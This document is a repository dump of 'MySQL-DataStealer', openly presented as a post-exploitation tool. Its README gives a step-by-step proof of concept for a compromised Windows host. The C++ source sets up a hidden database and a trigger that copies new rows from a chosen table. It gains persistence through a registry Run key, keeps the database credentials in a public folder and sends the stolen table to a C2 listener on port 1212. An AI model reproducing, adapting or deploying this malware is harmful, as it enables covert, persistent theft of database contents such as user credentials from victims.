├── README.md ├── cg.exe ├── libmysql.dll ├── server ├── sqlop.exe └── src ├── Extractor ├── ExfiltratorController.h └── extractor.cpp ├── MySQLOp ├── Persistence.h ├── SQL.h └── mysql.cpp └── server.cpp /README.md: -------------------------------------------------------------------------------- 1 | # MySQL-DataStealer 2 | Post-Exploitation Tool to Steal MySQL Data, and with persistence extract all data from MySQL table every time that Windows are opened with a Server to receive the extracted Files 3 | 4 | The tool is designed to target and extract data from MySQL databases, specifically on Windows systems. It is classified as a post-exploitation tool, which means that it is used after an attacker has already gained unauthorized access to a system. 5 | 6 | Once the tool is executed on the compromised Windows machine, it establishes persistence, which means that it sets itself up to run automatically each time the system is rebooted or restarted. It then proceeds to extract data from MySQL tables on the system and sends it to a remote server that has been set up to receive the extracted files. This enables the attacker to continually monitor the database and extract any new information that is added to it, even after the initial attack. 7 | 8 | This tool works by copying the target MySQL table to a new table and creating a trigger on the original table. This trigger will insert any new values added to the original table into the new table. This ensures that the attacker has a copy of all data added to the table, including any new data that is added after the initial attack. 9 | 10 | To establish persistence, the tool creates a registry key for the current user. This registry key will execute the tool every time the user logs in, ensuring that the tool continues to extract data from the MySQL database. 11 | 12 | The tool also sends the extracted file from the copied table to a command-and-control (C2) server, which allows the attacker to remotely access the stolen data. 13 | 14 | # POC 15 | 16 | Let's start. 17 | 18 | First of all you need to transfer to victim machine the sqlop.exe and libmysql.dll in the same path to execute it! 19 | 20 | ![image](https://user-images.githubusercontent.com/79543461/228654366-eb2973aa-c9d9-43d0-9c48-7fb1672690d3.png) 21 | 22 | Execute sqlop.exe, and provided the required information. 23 | 24 | Choose Database: 25 | 26 | ![image](https://user-images.githubusercontent.com/79543461/228654480-34ba8a2d-d8d6-42ce-a0f6-cd417c3230f1.png) 27 | 28 | In my case the 8 (wplogin). 29 | 30 | ![image](https://user-images.githubusercontent.com/79543461/228654544-f3f09c91-d1aa-4cdb-9b16-f3314d6e6f37.png) 31 | 32 | Choose table… 33 | 34 | ![image](https://user-images.githubusercontent.com/79543461/228654585-4b0aa04b-62b6-450d-bb4f-9161b6d4dcdc.png) 35 | 36 | Now the new database, table and trigger are created. 37 | 38 | Trigger: 39 | 40 | ![image](https://user-images.githubusercontent.com/79543461/228654640-219ffe6b-ae8f-4494-926d-ae7a9a3adb93.png) 41 | 42 | New Database and Table: 43 | 44 | ![image](https://user-images.githubusercontent.com/79543461/228654681-8e096c17-f73b-4d2d-a227-c2ccbc11483c.png) 45 | 46 | Now let's do the second part of attack, you need to follow and do this step to get the extracted data and persistence: 47 | 48 | ![image](https://user-images.githubusercontent.com/79543461/228654715-f6d97d08-686b-4ec0-978f-806b9f3820b8.png) 49 | 50 | Let's do it! 51 | 52 | ![image](https://user-images.githubusercontent.com/79543461/228654756-6f502943-3fd0-4f2a-9e09-9caef68c7905.png) 53 | 54 | Perfect, now provide the required information, the program requires the IP from malicious C2 server to receive the file. 55 | 56 | And all the attack its done, now you only need to open your C2 server and waiting for the extracted table. 57 | 58 | Now i add new values in wpCredentials table (like if this table represents a Web Login) and the program extract the new data inserted every time! 59 | 60 | ![image](https://user-images.githubusercontent.com/79543461/228654834-d78495da-49e6-4a50-bcbf-163fee758f84.png) 61 | 62 | The trigger works good, now i put my server listener with port 1212…ç 63 | 64 | ![image](https://user-images.githubusercontent.com/79543461/228654868-26768af7-8a7e-4cb6-8e06-9df69c8313f0.png) 65 | 66 | The malware sends it in port 1212, you can't use other. 67 | And i only need to restart the machine: 68 | 69 | ![image](https://user-images.githubusercontent.com/79543461/228654921-0ec1435e-6793-4469-b56c-92b190ed94ec.png) 70 | 71 | Let's check the content… 72 | 73 | ![image](https://user-images.githubusercontent.com/79543461/228654965-cd50cfc4-0f4d-4c67-9332-cee27b5ef0f3.png) 74 | -------------------------------------------------------------------------------- /cg.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/MySQL-DataStealer/8307af00ba5c07dea0143afbd2af498c75791c75/cg.exe -------------------------------------------------------------------------------- /libmysql.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/MySQL-DataStealer/8307af00ba5c07dea0143afbd2af498c75791c75/libmysql.dll -------------------------------------------------------------------------------- /server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/MySQL-DataStealer/8307af00ba5c07dea0143afbd2af498c75791c75/server -------------------------------------------------------------------------------- /sqlop.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/MySQL-DataStealer/8307af00ba5c07dea0143afbd2af498c75791c75/sqlop.exe -------------------------------------------------------------------------------- /src/Extractor/ExfiltratorController.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | using namespace std; 8 | 9 | class ExfiltratorController { 10 | private: 11 | string path; 12 | string server; 13 | string user; 14 | string password; 15 | string evil_server; 16 | 17 | public: 18 | ExfiltratorController() { 19 | this->path = "C:\\Users\\Public\\Music\\sv.txt"; 20 | this->evil_server = ""; 21 | readDataFromFile(); 22 | } 23 | 24 | string getPath() const { 25 | return path; 26 | } 27 | 28 | string getServer() const { 29 | return server; 30 | } 31 | 32 | string getUser() const { 33 | return user; 34 | } 35 | 36 | string getPassword() const { 37 | return password; 38 | } 39 | 40 | string getEvilServer() const { 41 | return evil_server; 42 | } 43 | 44 | std::vector> createBackup() { 45 | MYSQL* conn; 46 | MYSQL_RES* res; 47 | MYSQL_ROW row; 48 | 49 | conn = mysql_init(nullptr); 50 | 51 | if (!mysql_real_connect(conn, server.c_str(), user.c_str(), password.c_str(), "pg", 0, nullptr, 0)) { 52 | return std::vector>(); 53 | } 54 | if (mysql_query(conn, "SELECT * FROM schema_index")) { 55 | std::cerr << "Failed to execute query: " << mysql_error(conn) << std::endl; 56 | return std::vector>(); 57 | } 58 | 59 | MYSQL_RES* result = mysql_store_result(conn); 60 | 61 | if (!result) { 62 | std::cerr << "Failed to get result set: " << mysql_error(conn) << std::endl; 63 | return std::vector>(); 64 | } 65 | 66 | std::vector> table; 67 | 68 | int num_fields = mysql_num_fields(result); 69 | 70 | while ((row = mysql_fetch_row(result))) { 71 | std::vector row_data; 72 | 73 | for (int i = 0; i < num_fields; i++) { 74 | row_data.push_back(row[i] ? row[i] : "NULL"); 75 | } 76 | 77 | table.push_back(row_data); 78 | } 79 | mysql_free_result(result); 80 | mysql_close(conn); 81 | 82 | return table; 83 | } 84 | 85 | void saveTableToFile(const std::vector>& table, const std::string& fileName) { 86 | std::ofstream outputFile(fileName); 87 | 88 | if (!outputFile.is_open()) { 89 | std::cerr << "Failed to open output file" << std::endl; 90 | return; 91 | } 92 | 93 | for (const auto& row : table) { 94 | for (const auto& field : row) { 95 | outputFile << field << ","; 96 | } 97 | outputFile << std::endl; 98 | } 99 | 100 | outputFile.close(); 101 | } 102 | 103 | void readDataFromFile() { 104 | std::ifstream inputFile(path); 105 | 106 | if (!inputFile.is_open()) { 107 | std::cerr << "Failed to open input file" << std::endl; 108 | return; 109 | } 110 | 111 | // Leer los datos del archivo y asignarlos a las variables privadas 112 | std::getline(inputFile, evil_server); 113 | std::getline(inputFile, user); 114 | std::getline(inputFile, password); 115 | std::getline(inputFile, server); 116 | 117 | inputFile.close(); 118 | } 119 | 120 | 121 | }; 122 | -------------------------------------------------------------------------------- /src/Extractor/extractor.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S12cybersecurity/MySQL-DataStealer/8307af00ba5c07dea0143afbd2af498c75791c75/src/Extractor/extractor.cpp -------------------------------------------------------------------------------- /src/MySQLOp/Persistence.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int runkeys(const char* exe) { 4 | HKEY hkey = NULL; 5 | LONG res = RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey); 6 | if (res == ERROR_SUCCESS) { 7 | wchar_t* wide_exe = NULL; 8 | int wide_len = MultiByteToWideChar(CP_UTF8, 0, exe, -1, NULL, 0); 9 | wide_exe = new wchar_t[wide_len]; 10 | MultiByteToWideChar(CP_UTF8, 0, exe, -1, wide_exe, wide_len); 11 | RegSetValueExW(hkey, L"salsa", 0, REG_SZ, (BYTE*)wide_exe, (wide_len + 1) * sizeof(wchar_t)); 12 | RegCloseKey(hkey); 13 | delete[] wide_exe; 14 | } 15 | return 0; 16 | } 17 | 18 | -------------------------------------------------------------------------------- /src/MySQLOp/SQL.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | 8 | //connect to mysql database 9 | class SQL { 10 | private: 11 | std::string server; 12 | std::string user; 13 | std::string password; 14 | std::string database; 15 | MYSQL* conn; 16 | 17 | public: 18 | SQL(std::string server, std::string user, std::string password, std::string database) { 19 | this->server = server; 20 | this->user = user; 21 | this->password = password; 22 | this->database = database; 23 | } 24 | 25 | // getters and setters 26 | std::string getServer() { 27 | return server; 28 | } 29 | void setServer(std::string server) { 30 | this->server = server; 31 | } 32 | std::string getUser() { 33 | return user; 34 | } 35 | void setUser(std::string user) { 36 | this->user = user; 37 | } 38 | std::string getPassword() { 39 | return password; 40 | } 41 | void setPassword(std::string password) { 42 | this->password = password; 43 | } 44 | std::string getDatabase() { 45 | return database; 46 | } 47 | void setDatabase(std::string database) { 48 | this->database = database; 49 | } 50 | 51 | bool connect() { 52 | //CONNECTION TO MYSQL DATABASE 53 | MYSQL_RES* res; 54 | MYSQL_ROW row; 55 | conn = mysql_init(nullptr); 56 | if (!mysql_real_connect(conn, server.c_str(), user.c_str(), password.c_str(), database.c_str(), 0, nullptr, 0)) { 57 | return false; 58 | } 59 | else { 60 | return true; 61 | } 62 | } 63 | 64 | void close() { 65 | mysql_close(conn); 66 | } 67 | 68 | // list all databases with sequence number 69 | string listDatabases() { 70 | MYSQL_RES* res; 71 | MYSQL_ROW row; 72 | int i = 1; 73 | mysql_query(conn, "SHOW DATABASES"); 74 | res = mysql_store_result(conn); 75 | while ((row = mysql_fetch_row(res)) != nullptr) { 76 | cout << i << ". " << row[0] << endl; 77 | i++; 78 | } 79 | // question int from database and save name in string 80 | cout << "\nSelect database: "; 81 | int db; 82 | cin >> db; 83 | string database; 84 | mysql_data_seek(res, db - 1); 85 | row = mysql_fetch_row(res); 86 | database = row[0]; 87 | return database; 88 | } 89 | 90 | // list all tables with sequence number 91 | string listTables(string database) { 92 | // list all tables only from selected database 93 | MYSQL_RES* res; 94 | MYSQL_ROW row; 95 | int i = 1; 96 | mysql_query(conn, ("USE " + database).c_str()); 97 | mysql_query(conn, "SHOW TABLES"); 98 | res = mysql_store_result(conn); 99 | while ((row = mysql_fetch_row(res)) != nullptr) { 100 | cout << i << ". " << row[0] << endl; 101 | i++; 102 | } 103 | // question int from database and save name in string 104 | cout << "Select table: "; 105 | int table; 106 | cin >> table; 107 | string tableName; 108 | mysql_data_seek(res, table - 1); 109 | row = mysql_fetch_row(res); 110 | tableName = row[0]; 111 | return tableName; 112 | } 113 | 114 | // create new database called pg with table called schema_index with same columns as the selected table from the selected database 115 | void createDatabase(string database, string table) { 116 | if (mysql_query(conn, "CREATE DATABASE IF NOT EXISTS pg")) { 117 | cout << "Error in SQL query 'CREATE DATABASE IF NOT EXISTS pg': " << mysql_error(conn) << endl; 118 | } 119 | if (mysql_query(conn, "USE pg")) { 120 | cout << "Error in SQL query 'USE pg': " << mysql_error(conn) << endl; 121 | } 122 | string query = "SHOW COLUMNS FROM " + table + " IN " + database; 123 | if (mysql_query(conn, query.c_str())) { 124 | cout << "Error in SQL query 'SHOW COLUMNS FROM " << table << " IN " << database << "': " << mysql_error(conn) << endl; 125 | } 126 | MYSQL_RES* result = mysql_store_result(conn); 127 | if (!result) { 128 | cout << "Could not store result of query" << endl; 129 | } 130 | string create_table_query = "CREATE TABLE schema_index ("; 131 | MYSQL_ROW row; 132 | while ((row = mysql_fetch_row(result))) { 133 | create_table_query += row[0]; 134 | create_table_query += " "; 135 | create_table_query += row[1]; 136 | if (row[2]) { 137 | if (strcmp(row[2], "YES") == 0) { 138 | create_table_query += " NOT NULL"; 139 | } 140 | else { 141 | create_table_query += " "; 142 | create_table_query += row[2]; 143 | } 144 | } 145 | if (strcmp(row[1], "int") == 0) { 146 | create_table_query += "("; 147 | if (row[3]) { 148 | create_table_query += row[3]; 149 | } 150 | else { 151 | create_table_query += "11"; 152 | } 153 | create_table_query += ")"; 154 | } 155 | create_table_query += ","; 156 | } 157 | create_table_query.pop_back(); 158 | create_table_query += ")"; 159 | 160 | if (mysql_query(conn, create_table_query.c_str())) { 161 | cout << "Error in SQL query 'CREATE TABLE schema_index': " << mysql_error(conn) << endl; 162 | } 163 | } 164 | 165 | 166 | // exctract data from the selected table from the selected database and copy the data to the table schema_index in the database pg 167 | void copyData(string database, string table) { 168 | string query = "INSERT INTO pg.schema_index SELECT * FROM " + database + "." + table; 169 | if (mysql_query(conn, query.c_str())) { 170 | cout << "Error in SQL query 'INSERT INTO pg.schema_index SELECT * FROM " << database << "." << table << "': " << mysql_error(conn) << endl; 171 | return; 172 | } 173 | cout << "Data has been successfully copied" << endl; 174 | } 175 | 176 | // method to exctract first column name of index_schema table in pg database 177 | string getFirstColumnName() { 178 | string query = "SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='schema_index' AND TABLE_SCHEMA='pg' LIMIT 1"; 179 | if (mysql_query(conn, query.c_str())) { 180 | cout << "Error in SQL query 'getFirstColumnName': " << mysql_error(conn) << endl; 181 | return ""; 182 | } 183 | MYSQL_RES* result = mysql_store_result(conn); 184 | if (result == NULL) { 185 | cout << "Error storing result of SQL query 'getFirstColumnName': " << mysql_error(conn) << endl; 186 | return ""; 187 | } 188 | MYSQL_ROW row = mysql_fetch_row(result); 189 | if (row == NULL) { 190 | cout << "No results found for SQL query 'getFirstColumnName'" << endl; 191 | mysql_free_result(result); 192 | } 193 | string firstColumnName = row[0]; 194 | mysql_free_result(result); 195 | return firstColumnName; 196 | } 197 | 198 | 199 | void createTrigger(string database, string table) { 200 | // Get the first column name from schema_index table in pg database 201 | string column_name = getFirstColumnName(); 202 | string db = "USE " + database; 203 | mysql_query(conn, db.c_str()); 204 | if (column_name.empty()) { 205 | cout << "Error getting first column name" << endl; 206 | return; 207 | } 208 | // Create the trigger query with the obtained column name 209 | string trigger_query = "CREATE TRIGGER copy_to_schema_index " 210 | "AFTER INSERT ON `" + database + "`.`" + table + "` " 211 | "FOR EACH ROW " 212 | "INSERT INTO `pg`.`schema_index` SELECT * FROM `" + database + "`.`" + table + "` WHERE `" + column_name + "` = NEW.`" + column_name + "`"; 213 | 214 | 215 | if (mysql_query(conn, trigger_query.c_str())) { 216 | cout << "Error in SQL query 'CREATE TRIGGER copy_to_schema_index': " << mysql_error(conn) << endl; 217 | return; 218 | } 219 | } 220 | 221 | 222 | void serverURL() { 223 | string word; 224 | cout << "\nEnter Server IP to send the data: "; 225 | cin >> word; 226 | ofstream myfile; 227 | myfile.open("C:\\Users\\Public\\Music\\sv.txt"); 228 | myfile << word << endl; 229 | myfile << user << endl; 230 | myfile << password << endl; 231 | myfile << server << endl; 232 | myfile.close(); 233 | } 234 | 235 | 236 | }; 237 | -------------------------------------------------------------------------------- /src/MySQLOp/mysql.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "SQL.h" 5 | #include "Persistence.h" 6 | #include "ExfiltratorController.h" 7 | 8 | using namespace std; 9 | 10 | int main() { 11 | bool con; 12 | int op; 13 | string database; 14 | string table; 15 | string column; 16 | string user; 17 | string password; 18 | string server; 19 | 20 | cout << "Enter server (Example Recommended: localhost): "; 21 | cin >> server; 22 | cout << "Enter user: "; 23 | cin >> user; 24 | cout << "Enter password: "; 25 | cin >> password; 26 | SQL sql = SQL(server.c_str(), user.c_str(), password.c_str(), "mysql"); 27 | 28 | con = sql.connect(); 29 | if (!con) { 30 | std::cout << "Failed connecting"; 31 | } 32 | else { 33 | std::cout << "Connection with database succesfully\n\n"; 34 | std::cout << "Choose Database to exctract"; 35 | database = sql.listDatabases(); 36 | std::cout << "\nChoose Table to exctract:\n"; 37 | table = sql.listTables(database); 38 | sql.createDatabase(database, table); 39 | sql.copyData(database, table); 40 | column = sql.getFirstColumnName(); 41 | sql.createTrigger(database, table); 42 | cout << "\n[!] Copy the cg.exe file and libmysql.dll to C:\\Users\\Public\\Music"; 43 | runkeys("C:\\Users\\Public\\Music\\cg.exe"); 44 | sql.serverURL(); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/server.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | using namespace std; 13 | 14 | #define BUFFER_SIZE 1024 15 | #define MAX_IDLE_TIME 10 // 10 segundos de inactividad antes de reiniciar la conexión 16 | 17 | bool is_idle = false; 18 | 19 | void close_connection(int signal) { 20 | is_idle = true; 21 | } 22 | 23 | void timer_handler(int signal) { 24 | is_idle = true; 25 | } 26 | 27 | int main(int argc, char *argv[]) { 28 | int sockfd, newsockfd, portno; 29 | 30 | cout << "\n\tFile Extractor\n"; 31 | cout << "\nProvide the port number\n"; 32 | cout << "\nServer Port: "; 33 | cin >> portno; 34 | 35 | socklen_t clilen; 36 | char buffer[BUFFER_SIZE]; 37 | struct sockaddr_in serv_addr, cli_addr; 38 | int n; 39 | 40 | // Crear un socket 41 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 42 | if (sockfd < 0) { 43 | perror("ERROR opening socket"); 44 | exit(1); 45 | } 46 | 47 | // Establecer la dirección del servidor 48 | bzero((char *) &serv_addr, sizeof(serv_addr)); 49 | serv_addr.sin_family = AF_INET; 50 | serv_addr.sin_addr.s_addr = INADDR_ANY; 51 | serv_addr.sin_port = htons(portno); 52 | 53 | // Vincular el socket a la dirección del servidor 54 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) { 55 | perror("ERROR on binding"); 56 | exit(1); 57 | } 58 | 59 | // Escuchar conexiones entrantes 60 | listen(sockfd, 5); 61 | clilen = sizeof(cli_addr); 62 | 63 | // Configurar el temporizador 64 | struct sigaction sa; 65 | struct itimerval timer; 66 | 67 | memset(&sa, 0, sizeof(sa)); 68 | sa.sa_handler = &timer_handler; 69 | sigaction(SIGALRM, &sa, NULL); 70 | 71 | timer.it_value.tv_sec = MAX_IDLE_TIME; 72 | timer.it_value.tv_usec = 0; 73 | timer.it_interval.tv_sec = 0; 74 | timer.it_interval.tv_usec = 0; 75 | 76 | while (true) { 77 | // Configurar el temporizador 78 | setitimer(ITIMER_REAL, &timer, NULL); 79 | 80 | // Aceptar una conexión entrante 81 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); 82 | if (newsockfd < 0) { 83 | continue; 84 | } 85 | 86 | // Reiniciar el temporizador 87 | timer.it_value.tv_sec = MAX_IDLE_TIME; 88 | timer.it_value.tv_usec = 0; 89 | 90 | // Leer los datos del archivo 91 | FILE *fp = fopen("leak.txt", "wb"); 92 | if (fp == NULL) { 93 | perror("ERROR opening file"); 94 | close(newsockfd); 95 | continue; 96 | } 97 | bzero(buffer, BUFFER_SIZE); 98 | while ((n = recv(newsockfd, buffer, BUFFER_SIZE, 0)) > 0) { 99 | fwrite(buffer,sizeof(char),n,fp); 100 | memset(buffer, 0, BUFFER_SIZE); 101 | } 102 | fclose(fp); 103 | cout << "\nFile received successfully\n"; 104 | close(newsockfd); 105 | 106 | if (is_idle) { 107 | is_idle = false; 108 | } 109 | } 110 | 111 | // Cerrar el socket 112 | close(sockfd); 113 | 114 | return 0; 115 | 116 | } 117 | --------------------------------------------------------------------------------